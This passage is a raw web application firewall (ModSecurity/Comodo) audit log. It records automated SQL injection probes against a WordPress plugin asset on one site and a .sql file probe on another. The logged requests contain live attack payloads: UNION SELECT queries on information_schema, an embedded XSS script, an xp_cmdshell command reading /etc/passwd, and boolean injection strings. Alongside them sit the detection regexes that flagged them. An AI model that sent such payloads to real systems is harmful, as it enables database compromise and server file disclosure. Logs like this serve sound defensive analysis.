?\\\\\\\\(|\\\\\\\\bschema ?\\\\\\\\(|\\\\\\\\bselect.{0,399}?\\\\\\\\w?\\\\\\\\buser ?\\\\\\\\(|\\\\\\\\binto[\\\\\\\\s+]+(?:dump|o ..." at MATCHED_VAR. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "27"] [id "211650"] [rev "12"] [msg "COMODO WAF: Detects MSSQL code execution and information gathering attempts||www.getcalley.com|F|2"] [data "Matched Data: 3909 AND 1=1 UNION ALL SELECT 1,NULL,'<script>alert(\\\\x22XSS\\\\x22)</script>',table_name FROM information_schema.tables WHERE 2>1 found within MATCHED_VAR: 3909 AND 1=1 UNION ALL SELECT 1,NULL,'<script>alert(\\\\x22XSS\\\\x22)</script>',table_name FROM information_schema.tables WHERE 2>1"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/wp-content/plugins/op-builder/public/assets/cache/page-8183.svg"] [unique_id "aE88sVGNm2a2ZAngdHCteQAAAAc"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "(?i:\\\\\\\\b(?:m(?:s(?:ysaccessobjects|ysaces|ysobjects|ysqueries|ysrelationships|ysaccessstorage|ysaccessxml|ysmodules|ysmodules2|db)|aster\\\\\\\\.\\\\\\\\.sysdatabases|ysql\\\\\\\\.db)\\\\\\\\b|s(?:ys(?:\\\\\\\\.database_name|aux)\\\\\\\\b|chema(?:\\\\\\\\W*\\\\\\\\(|_name\\\\\\\\b)|qlite(_temp)?_master\\\\\\\\b) ..." at ARGS:WtXd. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "69"] [id "218530"] [rev "3"] [msg "COMODO WAF: SQL Injection Attack: Common DB Names Detected||www.getcalley.com|F|2"] [data "Matched Data: information_schema found within ARGS:WtXd: 3909 AND 1=1 UNION ALL SELECT 1,NULL,'<script>alert(\\\\x22XSS\\\\x22)</script>',table_name FROM information_schema.tables WHERE 2>1--/**/; EXEC xp_cmdshell('cat ../../../etc/passwd')#"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/wp-content/plugins/op-builder/public/assets/cache/page-8183.svg"] [unique_id "aE88sVGNm2a2ZAngdHCteQAAAAc"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator GE matched 5 at TX:incoming_points. [file "/etc/apache2/modsecurity.d/rules/comodo_free/20_Outgoing_FiltersEnd.conf"] [line "35"] [id "214930"] [rev "1"] [msg "COMODO WAF: Inbound Points Exceeded|Total Incoming Points: 5|www.getcalley.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "FiltersEnd"] [hostname "www.getcalley.com"] [uri "/wp-content/plugins/op-builder/public/assets/cache/page-8183.svg"] [unique_id "aE88sVGNm2a2ZAngdHCteQAAAAc"] Stopwatch: 1750023345179063 6270 (- - -) Stopwatch2: 1750023345179063 6270; combined=4419, p1=360, p2=3729, p3=34, p4=36, p5=260, sr=90, sw=0, l=0, gc=0 Response-Body-Transformed: Dechunked Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --6b832121-Z-- --20ba6331-A-- [16/Jun/2025:03:05:46.683646 +0530] aE88slGNm2a2ZAngdHCtegAAAAc 172.71.148.72 33484 127.0.0.1 7081 --20ba6331-B-- GET /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687.%29.%2C.%2C%27%22%2C%28 HTTP/1.0 Host: www.getcalley.com X-Real-IP: 172.71.148.72 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 950532fadb043a73-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --20ba6331-F-- HTTP/1.1 200 OK Last-Modified: Sat, 14 Jun 2025 07:15:06 GMT Accept-Ranges: bytes Vary: Accept-Encoding Content-Encoding: gzip Cache-Control: public Content-Length: 4178 Connection: close Content-Type: image/svg+xml --20ba6331-E-- --20ba6331-H-- Message: Warning. Pattern match "[\\[\\]\\x22',()\\.]{10}$|\\b(?:union\\sall\\sselect\\s(?:(?:null|\\d+),?)+|order\\sby\\s\\d{1,4}|(?:and|or)\\s\\d{4}=\\d{4}|waitfor\\sdelay\\s'\\d+:\\d+:\\d+'|(?:select|and|or)\\s(?:(?:pg_)?sleep\\(\\d+\\)|\\d+\\s?=\\s?(?:dbms_pipe\\.receive_message\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: .).,.,'\x22,( found within REQUEST_URI: /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687.).,.,'\x22,("] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "[\\\\\\\\[\\\\\\\\]\\\\\\\\x22',()\\\\\\\\.]{10}$|\\\\\\\\b(?:union\\\\\\\\sall\\\\\\\\sselect\\\\\\\\s(?:(?:null|\\\\\\\\d+),?)+|order\\\\\\\\sby\\\\\\\\s\\\\\\\\d{1,4}|(?:and|or)\\\\\\\\s\\\\\\\\d{4}=\\\\\\\\d{4}|waitfor\\\\\\\\sdelay\\\\\\\\s'\\\\\\\\d+:\\\\\\\\d+:\\\\\\\\d+'|(?:select|and|or)\\\\\\\\s(?:(?:pg_)?sleep\\\\\\\\(\\\\\\\\d+\\\\\\\\)|\\\\\\\\d+\\\\\\\\s?=\\\\\\\\s?(?:dbms_pipe\\\\\\\\.receive_message\\\\\\\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: .).,.,'\\\\x22,( found within REQUEST_URI: /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687.).,.,'\\\\x22,("] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/wp-content/plugins/op-builder/public/assets/cache/page-8183.svg"] [unique_id "aE88slGNm2a2ZAngdHCtegAAAAc"] Stopwatch: 1750023346678117 5621 (- - -) Stopwatch2: 1750023346678117 5621; combined=3672, p1=389, p2=3121, p3=35, p4=23, p5=104, sr=94, sw=0, l=0, gc=0 Response-Body-Transformed: Dechunked Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --20ba6331-Z-- --cc63b220-A-- [16/Jun/2025:03:05:47.928697 +0530] aE88s_kun2jazaBvM9ttoQAAAAE 172.71.144.145 33564 127.0.0.1 7081 --cc63b220-B-- GET /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687%29%20AND%204024%3D5998%20AND%20%283443%3D3443 HTTP/1.0 Host: www.getcalley.com X-Real-IP: 172.71.144.145 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 95053302a977e7b1-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --cc63b220-F-- HTTP/1.1 200 OK Last-Modified: Sat, 14 Jun 2025 07:15:06 GMT Accept-Ranges: bytes Vary: Accept-Encoding Content-Encoding: gzip Cache-Control: public Content-Length: 4178 Connection: close Content-Type: image/svg+xml --cc63b220-E-- --cc63b220-H-- Message: Warning. Pattern match "[\\[\\]\\x22',()\\.]{10}$|\\b(?:union\\sall\\sselect\\s(?:(?:null|\\d+),?)+|order\\sby\\s\\d{1,4}|(?:and|or)\\s\\d{4}=\\d{4}|waitfor\\sdelay\\s'\\d+:\\d+:\\d+'|(?:select|and|or)\\s(?:(?:pg_)?sleep\\(\\d+\\)|\\d+\\s?=\\s?(?:dbms_pipe\\.receive_message\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: and 4024=5998 and (3443=3443 found within REQUEST_URI: /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687) and 4024=5998 and (3443=3443"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "[\\\\\\\\[\\\\\\\\]\\\\\\\\x22',()\\\\\\\\.]{10}$|\\\\\\\\b(?:union\\\\\\\\sall\\\\\\\\sselect\\\\\\\\s(?:(?:null|\\\\\\\\d+),?)+|order\\\\\\\\sby\\\\\\\\s\\\\\\\\d{1,4}|(?:and|or)\\\\\\\\s\\\\\\\\d{4}=\\\\\\\\d{4}|waitfor\\\\\\\\sdelay\\\\\\\\s'\\\\\\\\d+:\\\\\\\\d+:\\\\\\\\d+'|(?:select|and|or)\\\\\\\\s(?:(?:pg_)?sleep\\\\\\\\(\\\\\\\\d+\\\\\\\\)|\\\\\\\\d+\\\\\\\\s?=\\\\\\\\s?(?:dbms_pipe\\\\\\\\.receive_message\\\\\\\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: and 4024=5998 and (3443=3443 found within REQUEST_URI: /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687) and 4024=5998 and (3443=3443"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/wp-content/plugins/op-builder/public/assets/cache/page-8183.svg"] [unique_id "aE88s_kun2jazaBvM9ttoQAAAAE"] Stopwatch: 1750023347923845 4941 (- - -) Stopwatch2: 1750023347923845 4941; combined=2836, p1=359, p2=2334, p3=33, p4=24, p5=86, sr=98, sw=0, l=0, gc=0 Response-Body-Transformed: Dechunked Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --cc63b220-Z-- --e0429a77-A-- [16/Jun/2025:03:05:48.546018 +0530] aE88tFR6EeXjkGzEkblkegAAAAs 172.70.248.204 33604 127.0.0.1 7081 --e0429a77-B-- GET /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687%20AND%206088%3D7998 HTTP/1.0 Host: www.getcalley.com X-Real-IP: 172.70.248.204 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 950533066a74d23b-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --e0429a77-F-- HTTP/1.1 200 OK Last-Modified: Sat, 14 Jun 2025 07:15:06 GMT Accept-Ranges: bytes Vary: Accept-Encoding Content-Encoding: gzip Cache-Control: public Content-Length: 4178 Connection: close Content-Type: image/svg+xml --e0429a77-E-- --e0429a77-H-- Message: Warning. Pattern match "[\\[\\]\\x22',()\\.]{10}$|\\b(?:union\\sall\\sselect\\s(?:(?:null|\\d+),?)+|order\\sby\\s\\d{1,4}|(?:and|or)\\s\\d{4}=\\d{4}|waitfor\\sdelay\\s'\\d+:\\d+:\\d+'|(?:select|and|or)\\s(?:(?:pg_)?sleep\\(\\d+\\)|\\d+\\s?=\\s?(?:dbms_pipe\\.receive_message\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: and 6088=7998 found within REQUEST_URI: /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687 and 6088=7998"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "[\\\\\\\\[\\\\\\\\]\\\\\\\\x22',()\\\\\\\\.]{10}$|\\\\\\\\b(?:union\\\\\\\\sall\\\\\\\\sselect\\\\\\\\s(?:(?:null|\\\\\\\\d+),?)+|order\\\\\\\\sby\\\\\\\\s\\\\\\\\d{1,4}|(?:and|or)\\\\\\\\s\\\\\\\\d{4}=\\\\\\\\d{4}|waitfor\\\\\\\\sdelay\\\\\\\\s'\\\\\\\\d+:\\\\\\\\d+:\\\\\\\\d+'|(?:select|and|or)\\\\\\\\s(?:(?:pg_)?sleep\\\\\\\\(\\\\\\\\d+\\\\\\\\)|\\\\\\\\d+\\\\\\\\s?=\\\\\\\\s?(?:dbms_pipe\\\\\\\\.receive_message\\\\\\\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: and 6088=7998 found within REQUEST_URI: /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687 and 6088=7998"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/wp-content/plugins/op-builder/public/assets/cache/page-8183.svg"] [unique_id "aE88tFR6EeXjkGzEkblkegAAAAs"] Stopwatch: 1750023348541676 4426 (- - -) Stopwatch2: 1750023348541676 4426; combined=2610, p1=341, p2=2133, p3=35, p4=25, p5=76, sr=87, sw=0, l=0, gc=0 Response-Body-Transformed: Dechunked Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --e0429a77-Z-- --863c030b-A-- [16/Jun/2025:03:05:49.174079 +0530] aE88tfkun2jazaBvM9ttogAAAAE 162.158.94.114 33638 127.0.0.1 7081 --863c030b-B-- GET /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687%20AND%207257%3D8240--%20PUlt HTTP/1.0 Host: www.getcalley.com X-Real-IP: 162.158.94.114 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 9505330a5d6339e0-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --863c030b-F-- HTTP/1.1 200 OK Last-Modified: Sat, 14 Jun 2025 07:15:06 GMT Accept-Ranges: bytes Vary: Accept-Encoding Content-Encoding: gzip Cache-Control: public Content-Length: 4178 Connection: close Content-Type: image/svg+xml --863c030b-E-- --863c030b-H-- Message: Warning. Pattern match "[\\[\\]\\x22',()\\.]{10}$|\\b(?:union\\sall\\sselect\\s(?:(?:null|\\d+),?)+|order\\sby\\s\\d{1,4}|(?:and|or)\\s\\d{4}=\\d{4}|waitfor\\sdelay\\s'\\d+:\\d+:\\d+'|(?:select|and|or)\\s(?:(?:pg_)?sleep\\(\\d+\\)|\\d+\\s?=\\s?(?:dbms_pipe\\.receive_message\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: and 7257=8240-- pult found within REQUEST_URI: /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687 and 7257=8240-- pult"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "[\\\\\\\\[\\\\\\\\]\\\\\\\\x22',()\\\\\\\\.]{10}$|\\\\\\\\b(?:union\\\\\\\\sall\\\\\\\\sselect\\\\\\\\s(?:(?:null|\\\\\\\\d+),?)+|order\\\\\\\\sby\\\\\\\\s\\\\\\\\d{1,4}|(?:and|or)\\\\\\\\s\\\\\\\\d{4}=\\\\\\\\d{4}|waitfor\\\\\\\\sdelay\\\\\\\\s'\\\\\\\\d+:\\\\\\\\d+:\\\\\\\\d+'|(?:select|and|or)\\\\\\\\s(?:(?:pg_)?sleep\\\\\\\\(\\\\\\\\d+\\\\\\\\)|\\\\\\\\d+\\\\\\\\s?=\\\\\\\\s?(?:dbms_pipe\\\\\\\\.receive_message\\\\\\\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: and 7257=8240-- pult found within REQUEST_URI: /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687 and 7257=8240-- pult"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/wp-content/plugins/op-builder/public/assets/cache/page-8183.svg"] [unique_id "aE88tfkun2jazaBvM9ttogAAAAE"] Stopwatch: 1750023349169595 4578 (- - -) Stopwatch2: 1750023349169595 4578; combined=2730, p1=404, p2=2189, p3=32, p4=25, p5=80, sr=110, sw=0, l=0, gc=0 Response-Body-Transformed: Dechunked Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --863c030b-Z-- --9f564611-A-- [16/Jun/2025:03:05:49.721561 +0530] aE88tR-kH31pk4mNbsU-qQAAAAo 185.177.72.210 33626 127.0.0.1 7081 --9f564611-B-- GET /2003.sql HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --9f564611-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=6387b0eacf2055ac36ddac1231dc03871750023349; expires=Sun, 15 Jun 2025 22:35:49 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --9f564611-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/2003.sql"] [unique_id "aE88tR-kH31pk4mNbsU-qQAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023349087986 633651 (- - -) Stopwatch2: 1750023349087986 633651; combined=1714, p1=372, p2=1232, p3=0, p4=0, p5=109, sr=101, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --9f564611-Z-- --10bb112e-A-- [16/Jun/2025:03:05:49.784900 +0530] aE88tYl8S04UZ4l67-nd-QAAAAk 172.70.248.187 41770 127.0.0.1 7081 --10bb112e-B-- GET /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687%27%29%20AND%208027%3D3277%20AND%20%28%27fQQr%27%3D%27fQQr HTTP/1.0 Host: www.getcalley.com X-Real-IP: 172.70.248.187 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 9505330e3d08697f-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --10bb112e-F-- HTTP/1.1 200 OK Last-Modified: Sat, 14 Jun 2025 07:15:06 GMT Accept-Ranges: bytes Vary: Accept-Encoding Content-Encoding: gzip Cache-Control: public Content-Length: 4178 Connection: close Content-Type: image/svg+xml --10bb112e-E-- --10bb112e-H-- Message: Warning. Pattern match "[\\[\\]\\x22',()\\.]{10}$|\\b(?:union\\sall\\sselect\\s(?:(?:null|\\d+),?)+|order\\sby\\s\\d{1,4}|(?:and|or)\\s\\d{4}=\\d{4}|waitfor\\sdelay\\s'\\d+:\\d+:\\d+'|(?:select|and|or)\\s(?:(?:pg_)?sleep\\(\\d+\\)|\\d+\\s?=\\s?(?:dbms_pipe\\.receive_message\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: and 8027=3277 and ('fqqr'='fqqr found within REQUEST_URI: /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687') and 8027=3277 and ('fqqr'='fqqr"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "[\\\\\\\\[\\\\\\\\]\\\\\\\\x22',()\\\\\\\\.]{10}$|\\\\\\\\b(?:union\\\\\\\\sall\\\\\\\\sselect\\\\\\\\s(?:(?:null|\\\\\\\\d+),?)+|order\\\\\\\\sby\\\\\\\\s\\\\\\\\d{1,4}|(?:and|or)\\\\\\\\s\\\\\\\\d{4}=\\\\\\\\d{4}|waitfor\\\\\\\\sdelay\\\\\\\\s'\\\\\\\\d+:\\\\\\\\d+:\\\\\\\\d+'|(?:select|and|or)\\\\\\\\s(?:(?:pg_)?sleep\\\\\\\\(\\\\\\\\d+\\\\\\\\)|\\\\\\\\d+\\\\\\\\s?=\\\\\\\\s?(?:dbms_pipe\\\\\\\\.receive_message\\\\\\\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: and 8027=3277 and ('fqqr'='fqqr found within REQUEST_URI: /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687') and 8027=3277 and ('fqqr'='fqqr"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/wp-content/plugins/op-builder/public/assets/cache/page-8183.svg"] [unique_id "aE88tYl8S04UZ4l67-nd-QAAAAk"] Stopwatch: 1750023349779518 5466 (- - -) Stopwatch2: 1750023349779518 5466; combined=3592, p1=333, p2=3117, p3=37, p4=24, p5=81, sr=87, sw=0, l=0, gc=0 Response-Body-Transformed: Dechunked Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --10bb112e-Z-- --3d6b0021-A-- [16/Jun/2025:03:05:50.304662 +0530] aE88tvkun2jazaBvM9ttowAAAAE 172.70.243.216 41814 127.0.0.1 7081 --3d6b0021-B-- GET /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687%27%20AND%206745%3D2871%20AND%20%27yCrO%27%3D%27yCrO HTTP/1.0 Host: www.getcalley.com X-Real-IP: 172.70.243.216 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 950533116e123675-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --3d6b0021-F-- HTTP/1.1 200 OK Last-Modified: Sat, 14 Jun 2025 07:15:06 GMT Accept-Ranges: bytes Vary: Accept-Encoding Content-Encoding: gzip Cache-Control: public Content-Length: 4178 Connection: close Content-Type: image/svg+xml --3d6b0021-E-- --3d6b0021-H-- Message: Warning. Pattern match "[\\[\\]\\x22',()\\.]{10}$|\\b(?:union\\sall\\sselect\\s(?:(?:null|\\d+),?)+|order\\sby\\s\\d{1,4}|(?:and|or)\\s\\d{4}=\\d{4}|waitfor\\sdelay\\s'\\d+:\\d+:\\d+'|(?:select|and|or)\\s(?:(?:pg_)?sleep\\(\\d+\\)|\\d+\\s?=\\s?(?:dbms_pipe\\.receive_message\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: and 6745=2871 and 'ycro'='ycro found within REQUEST_URI: /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687' and 6745=2871 and 'ycro'='ycro"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "[\\\\\\\\[\\\\\\\\]\\\\\\\\x22',()\\\\\\\\.]{10}$|\\\\\\\\b(?:union\\\\\\\\sall\\\\\\\\sselect\\\\\\\\s(?:(?:null|\\\\\\\\d+),?)+|order\\\\\\\\sby\\\\\\\\s\\\\\\\\d{1,4}|(?:and|or)\\\\\\\\s\\\\\\\\d{4}=\\\\\\\\d{4}|waitfor\\\\\\\\sdelay\\\\\\\\s'\\\\\\\\d+:\\\\\\\\d+:\\\\\\\\d+'|(?:select|and|or)\\\\\\\\s(?:(?:pg_)?sleep\\\\\\\\(\\\\\\\\d+\\\\\\\\)|\\\\\\\\d+\\\\\\\\s?=\\\\\\\\s?(?:dbms_pipe\\\\\\\\.receive_message\\\\\\\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: and 6745=2871 and 'ycro'='ycro found within REQUEST_URI: /wp-content/plugins/op-builder/public/assets/cache/page-8183.svg?ver=1749036687' and 6745=2871 and 'ycro'='ycro"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/wp-content/plugins/op-builder/public/assets/cache/page-8183.svg"] [unique_id "aE88tvkun2jazaBvM9ttowAAAAE"] Stopwatch: 1750023350298817 5939 (- - -) Stopwatch2: 1750023350298817 5939; combined=4053, p1=366, p2=3552, p3=37, p4=24, p5=74, sr=100, sw=0, l=0, gc=0 Response-Body-Transformed: Dechunked Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --3d6b0021-Z-- --bf660809-A-- [16/Jun/2025:03:05:50.816928 +0530] aE88tlGNm2a2ZAngdHCtfQAAAAc 172.68.195.144 41842 127.0.0.1 7081 --bf660809-B-- GET 